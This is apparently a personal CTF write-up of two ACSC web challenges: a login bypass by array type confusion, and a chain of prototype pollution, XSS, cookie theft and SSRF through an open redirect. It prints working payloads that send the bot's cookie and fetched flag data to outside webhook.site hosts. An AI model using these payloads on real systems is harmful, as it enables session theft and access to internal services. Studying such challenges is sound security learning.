Introduction
This year, I joined ACSC again. It was tough, and I spent a lot of time on one problem, but I think I did a bit better than last year. Last year, I didn't solve any challenges because I was very new to CTFs in general. This year, I learned a bit more and it has been a good way to see that I'm slowly getting better 🔥
Web
Login
This is a simple login web challenge. We were also given a source which is very simple and straightforward.
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';
const app = express();
app.use(express.urlencoded({ extended: true }));
const USER_DB = {
user: {
username: 'user',
password: crypto.randomBytes(32).toString('hex')
},
guest: {
username: 'guest',
password: 'guest'
}
};
app.get('/', (req, res) => {
res.send(`
<html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
<body>
<section>
<h1>Login</h1>
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username" length="6" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</section>
</body></html>
`);
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username.length > 6) return res.send('Username is too long');
const user = USER_DB[username];
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
});
app.listen(5000, () => {
console.log('Server is running on port 5000');
});
Looking at the source code, the users
are stored in an object called USER_DB
.
const USER_DB = {
user: {
username: 'user',
password: crypto.randomBytes(32).toString('hex')
},
guest: {
username: 'guest',
password: 'guest'
}
};
The problem with this authentication is that it is using ==
sign to do a comparison.
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
Also, you will only get the flag if your user ≠ guest
, which makes it a lot easier!
Solution
You can just pass in something like this, and it will work just fine.
username[]=guest&password=guest
A short explanation on how it works.
// Default way :
username = guest&password=guest
username = "guest"
// but if we set it to an array like this, it becomes an array!
username[]=guest&password=guest
username = ["guest"]
// hence, now we have successfully fooled the system, it really is something
// different than "guest"
Buggy-bounty
We were given a bounty report web app and also a source code.
In this challenge, we were supposed to get the authSecret
from admin, do SSRF on an internal endpoint and retrieve the flag.
Looking at routes.js
, this endpoint below is the one that will process our report after submitting it.
router.post("/report_bug", async (req, res) => {
try {
// sets the id, url, and report
const id = req.body.id;
const url = req.body.url;
const report = req.body.report;
// send to bot
await visit(
`http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
authSecret
);
} catch (e) {
console.log(e);
return res.render("index.html", { err: "Server Error" });
}
const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10;
return res.render("index.html", {
message: "Rewarded " + reward + "$",
});
});
This seems like a good candidate for SSRF as it’s using "request": "^2.88.0"
which is vulnerable to SSRF, but it requires isAdmin
to be true.
router.get("/check_valid_url", async (req, res) => {
try {
if (!isAdmin(req)) {
return res.status(401).send({
err: "Permission denied",
});
}
const report_url = req.query.url;
const customAgent = ssrfFilter(report_url);
request(
{ url: report_url, agent: customAgent },
function (error, response, body) {
if (!error && response.statusCode == 200) {
res.send(body);
} else {
console.error("Error:", error);
res.status(500).send({ err: "Server error" });
}
}
);
} catch (e) {
res.status(500).send({
error: "Server Error",
});
}
});
I am pretty sure the first step is XSS, because to get further, we need to steal admin access (authSecret)
and use the SSRF endpoint.
const authSecret = require("crypto").randomBytes(70).toString("hex");
const isAdmin = (req, res) => {
return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};
module.exports = {
authSecret,
isAdmin,
};
//bot.js
// authsecret being set in cookie
await page.setCookie({
name: "auth",
value: authSecret,
domain: "127.0.0.1",
});
Now, we need to find a way to pop XSS in triage.html
but it seems like there no easy way at first, because by default, our input is being escaped by templating of express
.
<!DOCTYPE html>
<html lang="en">
<head>
<title>Buggy Bounty</title>
<meta charset="UTF-8" />
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1"
/>
<link rel="stylesheet" href="/public/css/style.css" />
</head>
<body>
<div id="head">Buggy Triage</div>
<div id="bar">
<div id="red"></div>
<div id="yellow"></div>
<div id="green"></div>
</div>
<div id="screen">
<p class="font" id="product">Report ID:~$ {{id}}</p>
<p class="font" id="product">Report URL:~$ {{url}}</p>
<p class="font">Report:~$ {{report}}</p>
</div>
<script
src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js"
async
></script>
<script src="/public/js/jquery.min.js"></script>
<script src="/public/js/arg-1.4.js"></script>
<script src="/public/js/widget.js"></script>
</body>
</html>
But notice that we have some extra JS inside the file? I’ve checked each three of them and the most interesting ones are arg.js
and Adobe Dynamic Tag Management (launch-ENa…js)
.
After further enumeration, I found that arg.js
is vulnerable to Client-side Prototype Pollution!
And you could also pop XSS if you can somehow pollute the Adobe Dynamic Tag Management
prototype.src
!
We could chain this together and pop XSS on the page!
Solution
Let’s first test a very simple Prototype Pollution on our local instance.
http://localhost/triage?id=c&url=c&report=d&__proto__[test]=test
Now let’s chain it with the Adobe JS
we have just now..
http://localhost/triage?id=c&url=c&report=d&__proto__[src]=data:,alert(1)//'
Next thing to do is to craft a payload to steal the authSecret
from the bot, pass it into the report section. It should should look like this:
// id and url can be anythin. Put this below in report section
d&__proto__[src]=data:,location%3D%27https%3A%2F%2Fwebhook.site%2Fff081b6b-6e3b-47ec-86c2-d0455bd1a255%2F%3Fc%3D%27%20%2B%20document.cookie//
and we got our authSecret
b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89
Next thing to do, is to abuse the SSRF vulnerability in /check_valid_url
endpoint and fetch :5000/bounty
try {
if (!isAdmin(req)) {
return res.status(401).send({
err: "Permission denied",
});
}
const report_url = req.query.url;
const customAgent = ssrfFilter(report_url);
request(
{ url: report_url, agent: customAgent },
function (error, response, body) {
if (!error && response.statusCode == 200) {
res.send(body);
} else {
console.error("Error:", error);
res.status(500).send({ err: "Server error" });
}
}
);
} catch (e) {
res.status(500).send({
error: "Server Error",
});
}
But there’s also a custom agent with ssrfFilter in place, which may filter our connection to internal endpoints such as 127.0.0.1
or localhost
.
Though, this can be easily bypassed with a CVE in the request
library
Based on this Github Issue/CVE, the request will remove the agent if the protocol is changed.
For example : http > https or https > http, vice versa.
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
Also, as you can see, the code above is also blocked by isAdmin
and it requires you have a remote IP of 127.0.0.1
, but fret not, we can just use the bot to pop XSS and do our biddings!
I decided to use Google’s open redirection here to solve the challenge.
fetch('/check_valid_url?url=https://google.com/amp/localhost:5000/bounty', {
credentials: 'include',
headers: {
'Cookie': 'auth=b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'
}
})
.then(response => response.text())
.then(data => {
const encodedData = btoa(data);
const url = 'https://webhookhere/?flag=' + encodedData;
window.location.href = url;
});
d&__proto__[src]=data:,fetch%28%27%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fgoogle.com%2Famp%2Flocalhost%3A5000%2Fbounty%27%2C%7Bcredentials%3A%27include%27%2Cheaders%3A%7B%27Cookie%27%3A%27auth%3Db03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89%27%7D%7D%29.then%28response%20%3D%3E%20response.text%28%29%29.then%28data%20%3D%3E%20window.location.href%20%3D%20%27https%3A%2F%2Fwebhook.site%2Ff357e0cf-3beb-42de-bbb1-d46fdb545ed2%2F%3Fflag%3D%27%20%2B%20btoa%28data%29%29%3B
But it didn’t work?!
I am getting {"err":"Server error"}
as a response from the server. I wonder why, because fetching localhost:80
(the buggy bounty server) works perfectly, and I was able to fetch the whole content of it.
Turns out, at the end of the competition, only then I know, you actually have to pass in something like below as the endpoint, because of docker-compose hostname resolution.
// this will work
http://reward:5000/bounty
//this will not
http://localhost:5000/bounty
Fixing the payload a little bit.
fetch('/check_valid_url?url=https://google.com/amp/reward:5000/bounty', {
credentials: 'include',
headers: {
'Cookie': 'auth=b03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'
}
})
.then(response => response.text())
.then(data => {
const encodedData = btoa(data);
const url = 'https://webhookhere/?flag=' + encodedData;
window.location.href = url;
});
d&__proto__[src]=data:,fetch('/check_valid_url%3furl%3dhttps%3a//google.com/amp/reward%3a5000/bounty',{credentials%3a'include',headers%3a{'Cookie'%3a'auth%3db03ce837e3b4315c6a94f91885825a75a70f0f1caf6ce7dc7a0b1a8b04cce928c3c0fefa19847c67c3caf40faa95d9050b0fcd1d627ca1a00262114792580abd5b3a026a7b89'}}).then(response+%3d>+response.text()).then(data+%3d>+window.location.href+%3d+'https%3a//webhook.site/f357e0cf-3beb-42de-bbb1-d46fdb545ed2/%3fflag%3d'+%2b+btoa(data))%3b
And…. we got the flag!
End Note
Even though I was kind of sad of not being able to solve it in time and focused too much on it, I’ve learned something new. I was kind of satisfied that I was at least able to solve a challenge this year and almost solved another one. It was kind unfortunate, but anyway I’ll try harder next year!
💪💪 🔥🔥